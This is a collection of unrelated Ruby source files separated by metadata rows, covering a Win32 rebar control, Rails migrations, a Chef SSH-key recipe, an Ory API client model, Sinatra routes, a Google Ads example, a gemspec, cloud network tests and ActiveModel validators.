x,y,w,h = adjustRect(0,0,self.w,self.h,false).map {|x| x & 0x7fffffff}
return if @panels.nil?
@panels.each{|i| i.move(x,y,w-x,h-y)}
end
end
unless VR_OLDCOMCTL then
module WMsg
RB_INSERTBAND = WM_USER + 1
RB_DELETEBAND = WM_USER + 2
RB_GETBARINFO = WM_USER + 3
RB_SETBARINFO = WM_USER + 4
RB_GETBANDCOUNT = WM_USER + 12
RB_GETROWCOUNT = WM_USER + 13
RB_GETROWHEIGHT = WM_USER + 14
RB_SETBKCOLOR = WM_USER + 19
RB_GETBKCOLOR = WM_USER + 20
RB_SETTEXTCOLOR = WM_USER + 21
RB_GETTEXTCOLOR = WM_USER + 22
RB_SIZETORECT = WM_USER + 23
RB_GETBARHEIGHT = WM_USER + 27
RB_GETBANDINFO = WM_USER + 29
RB_SHOWBAND = WM_USER + 35
RB_SETPALETTE = WM_USER + 37
RB_GETPALETTE = WM_USER + 38
RB_MOVEBAND = WM_USER + 39
RBN_LAYOUTCHANGED = 0x100000000-831-2
end
module WConst
RBBIM_STYLE = 0x00000001
RBBIM_COLORS = 0x00000002
RBBIM_TEXT = 0x00000004
RBBIM_IMAGE = 0x00000008
RBBIM_CHILD = 0x00000010
RBBIM_CHILDSIZE = 0x00000020
RBBIM_SIZE = 0x00000040
RBBIM_BACKGROUND = 0x00000080
end
class VRRebar < VRNotifyControl
=begin
== VRRebar
Rebar control.
If comctl32.dll on your system is too old, this is not available.
=== Methods
--- insertband(cntl,txt,minx=30,miny=cnt.h+2,band=-1)
Creates a new band and set the control on it.
((|txt|)) is the caption of the band and minx/miny is the minimum size of
the band.
The control is created by rebar's addControl() but its event handling is on
the parent window.
--- bkColor=(c)
--- bkColor
Sets/Gets background color of rebar.
--- textColor=(c)
--- textColor
Sets/Gets band caption color.
--- relayout(x=self.x, y=self.y, w=self.w, h=self.h)
rearranges rebar's bands in the specified rectangle.
=end
WINCLASSINFO = ["ReBarWindow32",0]
def rebarinit
sendMessage WMsg::RB_SETBARINFO,0,[12,0,0].pack("LLL")
addNotifyHandler WMsg::RBN_LAYOUTCHANGED,"layoutchanged",MSGTYPE::ARGNONE,nil
end
def vrinit
super
rebarinit
end
def insertband(cnt,txt,minx=30,miny=cnt.h+2,band=-1)
size = 4*14
mask= WConst::RBBIM_TEXT | WConst::RBBIM_STYLE | WConst::RBBIM_CHILD | WConst::RBBIM_CHILDSIZE | WConst::RBBIM_SIZE
style= 4 #RBBS_CHILDEDGE
frcolor= 0
bkcolor= 0
text= txt
cch= 0
image= 0
hwndChild= cnt.hWnd
cxmin= minx
cymin= miny
cx= 100
bkBmp= 0
wid= 0
tis = [size,mask,style,frcolor,bkcolor,text,cch,image,hwndChild,cxmin,cymin,cx,bkBmp,wid].pack("LLLLLP#{text.length}LLLLLLLL")
sendMessage WMsg::RB_INSERTBAND,band,tis
end
def h
sendMessage WMsg::RB_GETBARHEIGHT,0,0
end
def bkColor
sendMessage WMsg::RB_GETBKCOLOR,0,0
end
def bkColor=(c)
sendMessage WMsg::RB_SETBKCOLOR,0,c
end
def textColor
sendMessage WMsg::RB_GETTEXTCOLOR,0,0
end
def textColor=(c)
sendMessage WMsg::RB_SETTEXTCOLOR,0,c
end
def relayout(x=self.x,y=self.y,w=self.w,h=self.h)
sendMessage WMsg::RB_SIZETORECT,0,[x,y,w,h].pack("LLLL")
end
include VRParent
def newControlID
@parent.newControlID
end
def registerControl(*arg)
@parent.registerControl(*arg)
end
end
end # unlessVR_OLDCOMCTL
# contribute files
require VR_DIR+'contrib/toolbar'
require VR_DIR+'contrib/vrlistviewex'
if VR_COMPATIBILITY_LEVEL then
require VR_DIR + 'compat/vrcomctl.rb'
end
| 28.73531 | 130 | 0.678101 |
2699260d28c169eb2684807836bee04df27b5046 | 123 | class AddStatusToMessages < ActiveRecord::Migration[5.1]
def change
add_column :messages, :status, :integer
end
end
| 20.5 | 56 | 0.756098 |
1adeea6194f590e0096574fb899d7d5de0263f8c | 228 | # this recipe is intended to be used from test-kitchen
user "test"
ssh_private_key "test" do
source 'chef-vault'
layout 'simple'
end
user "test2"
ssh_private_key "test2" do
source 'databag'
layout 'simple'
end
| 16.285714 | 54 | 0.70614 |
acd76713494f5bf5d695c12b8185b6cdb34f5a41 | 123 | class AddStatutsCardToCards < ActiveRecord::Migration[5.1]
def change
add_column :cards, :status, :boolean
end
end
| 20.5 | 58 | 0.747967 |
034db83db618f5b7d3a6dc6ceb08d49b53a2a903 | 105 | # frozen_string_literal: true
require 'httparty'
require 'pry'
require 'require_all'
require_all 'lib'
| 13.125 | 29 | 0.780952 |
b9c8186382fdbda8bd590720e2b6489c0dd403dd | 7,686 | =begin
#ORY Oathkeeper
#ORY Oathkeeper is a reverse proxy that checks the HTTP Authorization for validity against a set of rules. This service uses Hydra to validate access tokens and policies.
The version of the OpenAPI document: v0.0.0-alpha.37
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 4.2.2
=end
require 'date'
module OryHydraClient
# DecisionsInternalServerErrorBody DecisionsInternalServerErrorBody decisions internal server error body
class DecisionsInternalServerErrorBody
# code
attr_accessor :code
# details
attr_accessor :details
# message
attr_accessor :message
# reason
attr_accessor :reason
# request
attr_accessor :request
# status
attr_accessor :status
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'code' => :'code',
:'details' => :'details',
:'message' => :'message',
:'reason' => :'reason',
:'request' => :'request',
:'status' => :'status'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'code' => :'Integer',
:'details' => :'Array<Hash<String, Object>>',
:'message' => :'String',
:'reason' => :'String',
:'request' => :'String',
:'status' => :'String'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `OryHydraClient::DecisionsInternalServerErrorBody` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `OryHydraClient::DecisionsInternalServerErrorBody`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'code')
self.code = attributes[:'code']
end
if attributes.key?(:'details')
if (value = attributes[:'details']).is_a?(Array)
self.details = value
end
end
if attributes.key?(:'message')
self.message = attributes[:'message']
end
if attributes.key?(:'reason')
self.reason = attributes[:'reason']
end
if attributes.key?(:'request')
self.request = attributes[:'request']
end
if attributes.key?(:'status')
self.status = attributes[:'status']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
code == o.code &&
details == o.details &&
message == o.message &&
reason == o.reason &&
request == o.request &&
status == o.status
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[code, details, message, reason, request, status].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
OryHydraClient.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 29.448276 | 226 | 0.613843 |
e911913ce3733d3176140c7083d665ad50effd55 | 716 | class Admin::FixityController < ApplicationController
with_themed_layout('1_column')
def index
results = Bendo::Services::FixityChecks.call(params: clean_params)
if results.status == 200
@fixity_results = results.body
else
@fixity_results = []
end
respond_to do |format|
format.html do
flash[:error] = "Something went wrong when retrieving records from Bendo." unless results.status == 200
end
format.json do
render json: @fixity_results, status: results.status
end
end
end
def clean_params
params.permit(:item, :status, :scheduled_time_start, :scheduled_time_end )
.delete_if { |k, v| v.nil? || v.empty? }
end
end
| 24.689655 | 111 | 0.667598 |
91e079cc1174997a06095f17551a1378536ba6ca | 1,734 | require 'spec_helper'
describe "User editing addresses for his account" do
include_context "user with address"
before(:each) do
visit spree.root_path
click_link "Login"
sign_in!(user)
click_link "My Account"
end
it "should see list of addresses saved for account" do
page.should have_content("Addresses")
page.should have_selector("#user_addresses > tbody > tr", :count => user.addresses.count)
end
it "should be able to add address" do
end
it "should be able to edit address", :js => true do
page.evaluate_script('window.confirm = function() { return true; }')
within("#user_addresses > tbody > tr:first") do
click_link I18n.t(:edit)
end
current_path.should == spree.edit_address_path(address)
new_street = Faker::Address.street_address
fill_in I18n.t('activerecord.attributes.spree/address.address1'), :with => new_street
click_button "Update"
current_path.should == spree.account_path
page.should have_content(I18n.t('successfully_updated'))
within("#user_addresses > tbody > tr:first") do
page.should have_content(new_street)
end
end
it "should be able to remove address", :js => true do
# bypass confirm dialog
page.evaluate_script('window.confirm = function() { return true; }')
within("#user_addresses > tbody > tr:first") do
click_link I18n.t(:remove)
end
current_path.should == spree.account_path
# flash message
page.should have_content("removed")
# header still exists for the area - even if it is blank
page.should have_content("Addresses")
# table is not displayed unless addresses are available
page.should_not have_selector("#user_addresses")
end
end
| 29.896552 | 93 | 0.700692 |
bb26ee0c724febb8d27ac9afcd70508e94f3dfd5 | 4,557 | require "multi_json"
module Sequel::Plugins::VcapSerialization
# This plugin implements serialization and deserialization of
# Sequel::Models to/from hashes and json.
module InstanceMethods
# Return a hash of the model instance containing only the parameters
# specified by export_attributes.
#
# @option opts [Array<String>] :only Only export an attribute if it is both
# included in export_attributes and in the :only option.
#
# @return [Hash] The hash representation of the instance only containing
# the attributes specified by export_attributes and the optional :only
# parameter.
def to_hash(opts = {})
hash = {}
redact_vals = opts[:redact]
attrs = opts[:attrs] || self.class.export_attrs || []
attrs.each do |k|
if opts[:only].nil? || opts[:only].include?(k)
value = send(k)
if value.respond_to?(:nil_object?) && value.nil_object?
hash[k.to_s] = nil
else
if !redact_vals.nil? && redact_vals.include?(k.to_s)
hash[k.to_s] = {redacted_message: '[PRIVATE DATA HIDDEN]'}
else
hash[k.to_s] = value
end
end
end
end
hash
end
# Update the model instance from the supplied json string. Only update
# attributes specified by import_attributes.
#
# @param [String] Json encoded representation of the updated attributes.
#
# @option opts [Array<String>] :only Only import an attribute if it is both
# included in import_attributes and in the :only option.
def update_from_json(json, opts = {})
parsed = MultiJson.load(json)
update_from_hash(parsed, opts)
end
# Update the model instance from the supplied hash. Only update
# attributes specified by import_attributes.
#
# @param [Hash] Hash of the updated attributes.
#
# @option opts [Array<String>] :only Only import an attribute if it is both
# included in import_attributes and in the :only option.
def update_from_hash(hash, opts = {})
update_opts = self.class.update_or_create_options(hash, opts)
# Cannot use update(update_opts) because it does not
# update updated_at timestamp when no changes are being made.
# Arguably this should avoid updating updated_at if nothing changed.
set_all(update_opts)
save
end
end
module ClassMethods
# Create a new model instance from the supplied json string. Only include
# attributes specified by import_attributes.
#
# @param [String] Json encoded representation attributes.
#
# @option opts [Array<String>] :only Only include an attribute if it is
# both included in import_attributes and in the :only option.
#
# @return [Sequel::Model] The created model.
def create_from_json(json, opts = {})
hash = MultiJson.load(json)
create_from_hash(hash, opts)
end
# Create and save a new model instance from the supplied json string.
# Only include attributes specified by import_attributes.
#
# @param [Hash] Hash of the attributes.
#
# @option opts [Array<String>] :only Only include an attribute if it is
# both included in import_attributes and in the :only option.
#
# @return [Sequel::Model] The created model.
def create_from_hash(hash, opts = {})
create_opts = update_or_create_options(hash, opts)
create {|instance| instance.set_all(create_opts) }
end
# Set the default order during a to_json on the model class.
#
# @param [Array<Symbol>] List of attributes to include when serializing to
# json or a hash.
def export_attributes(*attributes)
self.export_attrs = attributes
end
# @param [Array<Symbol>] List of attributes to include when importing
# from json or a hash.
def import_attributes(*attributes)
self.import_attrs = attributes
end
# Not intended to be called by consumers of the API, but needed
# by instance of the class, so it can't be made private.
def update_or_create_options(hash, opts)
results = {}
attrs = self.import_attrs || []
attrs = attrs - opts[:only] unless opts[:only].nil?
attrs.each do |attr|
key = nil
if hash.has_key?(attr)
key = attr
elsif hash.has_key?(attr.to_s)
key = attr.to_s
end
results[attr] = hash[key] unless key.nil?
end
results
end
attr_accessor :export_attrs, :import_attrs
end
end
| 34.263158 | 79 | 0.656792 |
039ef1d84a40a1648911174f4c3cac0dcf1fb923 | 4,105 | #!/usr/bin/env ruby
# Encoding: utf-8
#
# Copyright:: Copyright 2018, Google Inc. All Rights Reserved.
#
# License:: Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# This example adds a Gmail ad to a given ad group. The ad group's campaign
# needs to have an AdvertisingChannelType of DISPLAY and
# AdvertisingChannelSubType of DISPLAY_GMAIL_AD. To get ad groups, run
# get_ad_groups.rb.
require 'adwords_api'
require 'base64'
def add_gmail_ad(ad_group_id)
# AdwordsApi::Api will read a config file from ENV['HOME']/adwords_api.yml
# when called without parameters.
adwords = AdwordsApi::Api.new
# To enable logging of SOAP requests, set the log_level value to 'DEBUG' in
# the configuration file or provide your own logger:
# adwords.logger = Logger.new('adwords_xml.log')
ad_group_ad_srv = adwords.service(:AdGroupAdService, API_VERSION)
# This ad format does not allow the creation of an image using the
# Image.data field. An image must first be created using the MediaService,
# and Image.mediaId must be populated when creating the ad.
logo_image_id = upload_image(adwords, 'https://goo.gl/mtt54n')
logo_image = {
:xsi_type => 'Image',
:media_id => logo_image_id
}
marketing_image_id = upload_image(adwords, 'http://goo.gl/3b9Wfh')
ad_image = {
:xsi_type => 'Image',
:media_id => marketing_image_id
}
teaser = {
:headline => 'Dream',
:description => 'Create your own adventure',
:business_name => 'Interplanetary Ships',
:logo_image => logo_image
}
gmail_ad = {
:xsi_type => 'GmailAd',
:teaser => teaser,
:marketing_image => ad_image,
:marketing_image_headline => 'Travel',
:marketing_image_description => 'Take to the skies!',
:final_urls => ['http://www.example.com']
}
ad_group_ad = {
:ad_group_id => ad_group_id,
:ad => gmail_ad,
:status => 'PAUSED'
}
operation = {
:operator => 'ADD',
:operand => ad_group_ad
}
result = ad_group_ad_srv.mutate([operation])
result[:value].each do |ad_group_ad|
puts 'A Gmail ad with id %d and short headline "%s" was added.' %
[ad_group_ad[:ad][:id], ad_group_ad[:ad][:teaser][:headline]]
end
end
def upload_image(adwords, url)
media_srv = adwords.service(:MediaService, API_VERSION)
image_data = AdsCommon::Http.get(url, adwords.config)
base64_image_data = Base64.encode64(image_data)
image = {
:xsi_type => 'Image',
:data => base64_image_data,
:type => 'IMAGE'
}
response = media_srv.upload([image])
return response.first[:media_id]
end
if __FILE__ == $0
API_VERSION = :v201802
begin
ad_group_id = 'INSERT_AD_GROUP_ID_HERE'.to_i
add_gmail_ad(ad_group_id)
# Authorization error.
rescue AdsCommon::Errors::OAuth2VerificationRequired => e
puts "Authorization credentials are not valid. Edit adwords_api.yml for " +
"OAuth2 client ID and secret and run misc/setup_oauth2.rb example " +
"to retrieve and store OAuth2 tokens."
puts "See this wiki page for more details:\n\n " +
'https://github.com/googleads/google-api-ads-ruby/wiki/OAuth2'
# HTTP errors.
rescue AdsCommon::Errors::HttpError => e
puts "HTTP Error: %s" % e
# API errors.
rescue AdwordsApi::Errors::ApiException => e
puts "Message: %s" % e.message
puts 'Errors:'
e.errors.each_with_index do |error, index|
puts "\tError [%d]:" % (index + 1)
error.each do |field, value|
puts "\t\t%s: %s" % [field, value]
end
end
end
end
| 30.183824 | 79 | 0.674543 |
21e114db1bd4e4bb795ab8cc426a5e62ba764782 | 2,231 | # frozen_string_literal: true
# Copyright The OpenTelemetry Authors
#
# SPDX-License-Identifier: Apache-2.0
lib = File.expand_path('lib', __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'opentelemetry/exporter/otlp/version'
Gem::Specification.new do |spec|
spec.name = 'opentelemetry-exporter-otlp'
spec.version = OpenTelemetry::Exporter::OTLP::VERSION
spec.authors = ['OpenTelemetry Authors']
spec.email = ['[email protected]']
spec.summary = 'OTLP exporter for the OpenTelemetry framework'
spec.description = 'OTLP exporter for the OpenTelemetry framework'
spec.homepage = 'https://github.com/open-telemetry/opentelemetry-ruby'
spec.license = 'Apache-2.0'
spec.files = ::Dir.glob('lib/**/*.rb') +
::Dir.glob('*.md') +
['LICENSE', '.yardopts']
spec.require_paths = ['lib']
spec.required_ruby_version = '>= 2.4.3'
spec.add_dependency 'google-protobuf', '~> 3.7'
spec.add_dependency 'opentelemetry-api', '~> 0.15.0'
spec.add_dependency 'opentelemetry-common', '~> 0.15.0'
spec.add_development_dependency 'bundler', '>= 1.17'
spec.add_development_dependency 'faraday', '~> 0.13'
spec.add_development_dependency 'minitest', '~> 5.0'
spec.add_development_dependency 'rake', '~> 12.0'
spec.add_development_dependency 'rubocop', '~> 0.73.0'
spec.add_development_dependency 'simplecov', '~> 0.17'
spec.add_development_dependency 'webmock', '~> 3.7.6'
spec.add_development_dependency 'yard', '~> 0.9'
spec.add_development_dependency 'yard-doctest', '~> 0.1.6'
if spec.respond_to?(:metadata)
spec.metadata['changelog_uri'] = "https://open-telemetry.github.io/opentelemetry-ruby/opentelemetry-exporter-otlp/v#{OpenTelemetry::Exporter::OTLP::VERSION}/file.CHANGELOG.html"
spec.metadata['source_code_uri'] = 'https://github.com/open-telemetry/opentelemetry-ruby/tree/main/exporter/otlp'
spec.metadata['bug_tracker_uri'] = 'https://github.com/open-telemetry/opentelemetry-ruby/issues'
spec.metadata['documentation_uri'] = "https://open-telemetry.github.io/opentelemetry-ruby/opentelemetry-exporter-otlp/v#{OpenTelemetry::Exporter::OTLP::VERSION}"
end
end
| 45.530612 | 181 | 0.715374 |
282c743e8b071f3c557d0a8781d585bb22d5d31b | 810 | Pod::Spec.new do |s|
s.name = 'IndieLogicQL'
s.version = '1.0.11'
s.summary = 'IndieLogicQL client setup with Indie Logic QL'
s.description = <<-DESC
IndieLogicQL Apollo client setup to fetch events data from IndieLogic CMS
DESC
s.homepage = 'https://github.com/sumit-athon/IndieLogicQL'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Sumit' => '[email protected]' }
s.source = { :git => 'https://github.com/sumit-athon/IndieLogicQL.git', :tag => s.version.to_s }
s.swift_version = '5.0'
s.ios.deployment_target = '13.0'
s.source_files = 'IndieLogicQL/GraphQL/*.swift'
# s.resources = 'IndieLogicQL/GraphQL/{*.graphql,*.json}'
s.dependency 'Apollo', '~> 0.43.0'
end
| 38.571429 | 108 | 0.582716 |
79ccceb9bafd9f2f4e30d8a72b08fa3bb9e363f8 | 1,459 | get '/' do
@category = Category.all
erb :index
end
get '/category/:id' do
@category = Category.where(id: params[:id]).first
@articles = Article.where(category_id: params[:id])
erb :"category/list_articles"
end
get '/article/new' do
# @article = Article.new
@article = Article.new(
title: params[:title],
description: params[:description]
)
erb :"article/new"
end
post '/article/' do
p params
@article = Article.new(
title: params[:title],
description: params[:description],
category_id: params[:category_id]
)
if @article.save
redirect "/article/#{@article.id}"
else
status 400
erb :"article/new"
end
end
get '/article/:id' do
@article = Article.where(id: params[:id]).first
erb :"article/list_description"
end
get '/article/:id/edit' do
p @article = Article.where(id: params[:id]).first
erb :"article/edit"
# else
# status 404
# "Article Not Found"
# end
end
put '/article/:id' do
@article = Article.where(id: params[:id]).first
@article.update(description: params[:description],
title: params[:title],
category_id: params[:category_id])
redirect "/article/#{@article.id}"
end
delete '/article/:id' do
p params
@article = Article.where(id: params[:id]).first
cat_id = @article.category_id
if @article
@article.destroy
redirect "/category/#{cat_id}"
else
status 404
'Article Not Found'
end
end
| 20.263889 | 53 | 0.642906 |
e9e0832333e6a3cfa991cb5540ebdd970883b3f1 | 741 |
class Class # :nodoc:
def cattr_reader(*syms)
syms.flatten.each do |sym|
class_eval(<<-EOS, __FILE__, __LINE__)
unless defined? @@#{sym}
@@#{sym} = nil
end
def self.#{sym}
@@#{sym}
end
def #{sym}
@@#{sym}
end
EOS
end
end
def cattr_writer(*syms)
syms.flatten.each do |sym|
class_eval(<<-EOS, __FILE__, __LINE__)
unless defined? @@#{sym}
@@#{sym} = nil
end
def self.#{sym}=(obj)
@@#{sym} = obj
end
def #{sym}=(obj)
@@#{sym} = obj
end
EOS
end
end
def cattr_accessor(*syms)
cattr_reader(*syms)
cattr_writer(*syms)
end
end
| 16.840909 | 44 | 0.466937 |
e203456d5014e5996026a4991d124a0371dc75e2 | 585 | module Solargraph
module Pin
module Plugin
class Method < Base
attr_reader :name
attr_reader :path
attr_reader :return_type
attr_reader :parameters
attr_reader :scope
attr_reader :visibility
def initialize name:, path:, return_type:, parameters:
@name = name
@path = path
@return_type = return_type
@parameters = parameters
end
def completion_item_kind
Solargraph::LanguageServer::CompletionItemKinds::METHOD
end
end
end
end
end
| 22.5 | 65 | 0.601709 |
1a9fb63c6c10fc8967eaca77e61d0372bb8a9d0f | 214 | class Macaw < Cask
url 'http://download.macaw.co/1.0/Macaw1.0.dmg'
homepage 'http://macaw.co/'
version '1.0'
sha256 'a474175b6c760d567df4c50fb6b9a94936fe9310185810973f382f3e602a255f'
link 'Macaw.app'
end
| 26.75 | 75 | 0.752336 |
01a1ee752256ae693e7380028444326ce834e275 | 1,518 | require 'spec_helper'
require_relative '../../app/domain/pc1203_discretionary_classifier'
describe PC1203MandatoryClassifier do
let(:rap_sheet) { build_rap_sheet(events: [conviction_event]) }
let (:subject) { PC1203MandatoryClassifier.new(event: conviction_event, rap_sheet: rap_sheet) }
let(:conviction_event) do
build_court_event(
date: date,
counts: [build_count(dispositions: [build_disposition(severity: severity, sentence: sentence)])]
)
end
describe '#eligible?' do
context 'the underlying conviction is not 1203 eligible' do
let(:date) { Date.today - 3.years }
let(:sentence) { RapSheetParser::ConvictionSentence.new(prison: 1.year, probation: nil, date: date) }
let(:severity) { 'F' }
it 'returns false' do
expect(subject.eligible?).to be false
end
end
context 'the underlying conviction is eligible for mandatory 1203' do
let(:date) { Date.today - 3.years }
let(:sentence) { RapSheetParser::ConvictionSentence.new(probation: 1.year, date: date) }
let(:severity) { 'M' }
it 'returns true' do
expect(subject.eligible?).to be true
end
end
context 'the underlying conviction is eligible for discretionary 1203' do
let(:date) { Date.today - 4.years }
let(:sentence) { RapSheetParser::ConvictionSentence.new(jail: 1.year, date: date) }
let(:severity) { 'F' }
it 'returns false' do
expect(subject.eligible?).to be false
end
end
end
end
| 31.625 | 107 | 0.671278 |
33231a28cc89927395903200db7107b549efcb97 | 470 | require 'pry'
class GroceryItemsController < ApplicationController
def index
render(
status: 200,
json: GroceryItem.all
)
end
def create
item = GroceryItem.create(item_params)
render(
status: 200,
json: item
)
end
def destroy
item = GroceryItem.find(params[:id])
GroceryItem.destroy(params[:id])
end
def item_params
params.require(:grocery_item).permit(:farmers_market_id, :description)
end
end
| 15.16129 | 74 | 0.668085 |
f848514a63f58a617dfa8b70b2f7173f24b39b2b | 3,969 | require 'test_helper'
class NetworkTest < ActiveSupport::TestCase
test 'cidr within cloud' do
instructor = users(:instructor1)
scenario = instructor.scenarios.new(location: :test, name: 'network_test')
scenario.save
assert scenario.valid?, scenario.errors.messages
# valid cloud
cloud = scenario.clouds.new(name: "cloud1", cidr_block: "10.0.0.0/16")
cloud.save
assert cloud.valid?, cloud.errors.messages
# aws does not allow clouds to be larger than /16 or smaller than /28
cloud.update cidr_block: "10.0.0.0/15"
assert_not cloud.valid?, cloud.errors.messages
assert_equal cloud.errors.keys, [:cidr_block]
cloud.errors.clear
cloud.update cidr_block: "10.0.0.0/29"
assert_not cloud.valid?, cloud.errors.messages
assert_equal cloud.errors.keys, [:cidr_block]
cloud.errors.clear
cloud.update cidr_block: "10.0.0.0/28"
assert cloud.valid?, cloud.errors.messages
assert_equal cloud.errors.keys, []
cloud.update cidr_block: "10.0.0.0/16"
assert cloud.valid?, cloud.errors.messages
assert_equal cloud.errors.keys, []
## SUBNETS
# subnets cidr must be within or equal to clouds cidr
subnet1 = cloud.subnets.new(name: "subnet1", cidr_block: "10.0.0.0/16")
subnet1.save
assert subnet1.valid?, subnet1.errors.messages
# above
subnet1.update cidr_block: "10.1.0.0/16"
assert_not subnet1.valid?, subnet1.errors.messages
assert_equal subnet1.errors.keys, [:cidr_block]
subnet1.errors.clear
# below
subnet1.update cidr_block: "9.0.0.0/16"
assert_not subnet1.valid?, subnet1.errors.messages
assert_equal subnet1.errors.keys, [:cidr_block]
subnet1.errors.clear
# within
subnet1.update cidr_block: "10.0.1.0/24"
assert subnet1.valid?, subnet1.errors.messages
assert_equal subnet1.errors.keys, []
# subnets should not overlap
subnet2 = cloud.subnets.new(name: "subnet2", cidr_block: "10.0.2.0/24")
subnet2.save
assert subnet2.valid?, subnet2.errors.messages
# overlapping with subnet1
subnet2.update cidr_block: "10.0.1.0/25"
assert_not subnet2.valid?, subnet2.errors.messages
assert_equal subnet2.errors.keys, [:cidr_block]
subnet2.errors.clear
subnet2.update cidr_block: "10.0.2.0/24"
assert subnet2.valid?, subnet2.errors.messages
assert_equal subnet2.errors.keys, []
## INSTANCES
# instance should be within subnet
instance1 = subnet1.instances.new(name: "instance1", ip_address: "10.0.1.4", os: 'nat')
instance1.save
assert instance1.valid?, instance1.errors.messages
# .0-.3 are reserved
instance1.update ip_address: "10.0.1.0"
assert_not instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, [:ip_address]
instance1.errors.clear
instance1.update ip_address: "10.0.1.1"
assert_not instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, [:ip_address]
instance1.errors.clear
instance1.update ip_address: "10.0.1.2"
assert_not instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, [:ip_address]
instance1.errors.clear
instance1.update ip_address: "10.0.1.3"
assert_not instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, [:ip_address]
instance1.errors.clear
# below
instance1.update ip_address: "10.0.0.255"
assert_not instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, [:ip_address]
instance1.errors.clear
# above
instance1.update ip_address: "10.0.2.4"
assert_not instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, [:ip_address]
instance1.errors.clear
# correct
instance1.update ip_address: "10.0.1.4"
assert instance1.valid?, instance1.errors.messages
assert_equal instance1.errors.keys, []
instance1.errors.clear
end
end | 32.268293 | 91 | 0.71227 |
e2b2e1c2dcabd1428c4ccf0286bc8e8c2aab3ab0 | 1,167 | # frozen_string_literal: true
module ActiveModel
module Validations
# == \Active \Model Absence Validator
class AbsenceValidator < EachValidator # :nodoc:
def validate_each(record, attr_name, value)
record.errors.add(attr_name, :present, **options) if value.present?
end
end
module HelperMethods
# Validates that the specified attributes are blank (as defined by
# Object#present?). Happens by default on save.
#
# class Person < ActiveRecord::Base
# validates_absence_of :first_name
# end
#
# The first_name attribute must be in the object and it must be blank.
#
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "must be blank").
#
# There is also a list of default options supported by every validator:
# +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
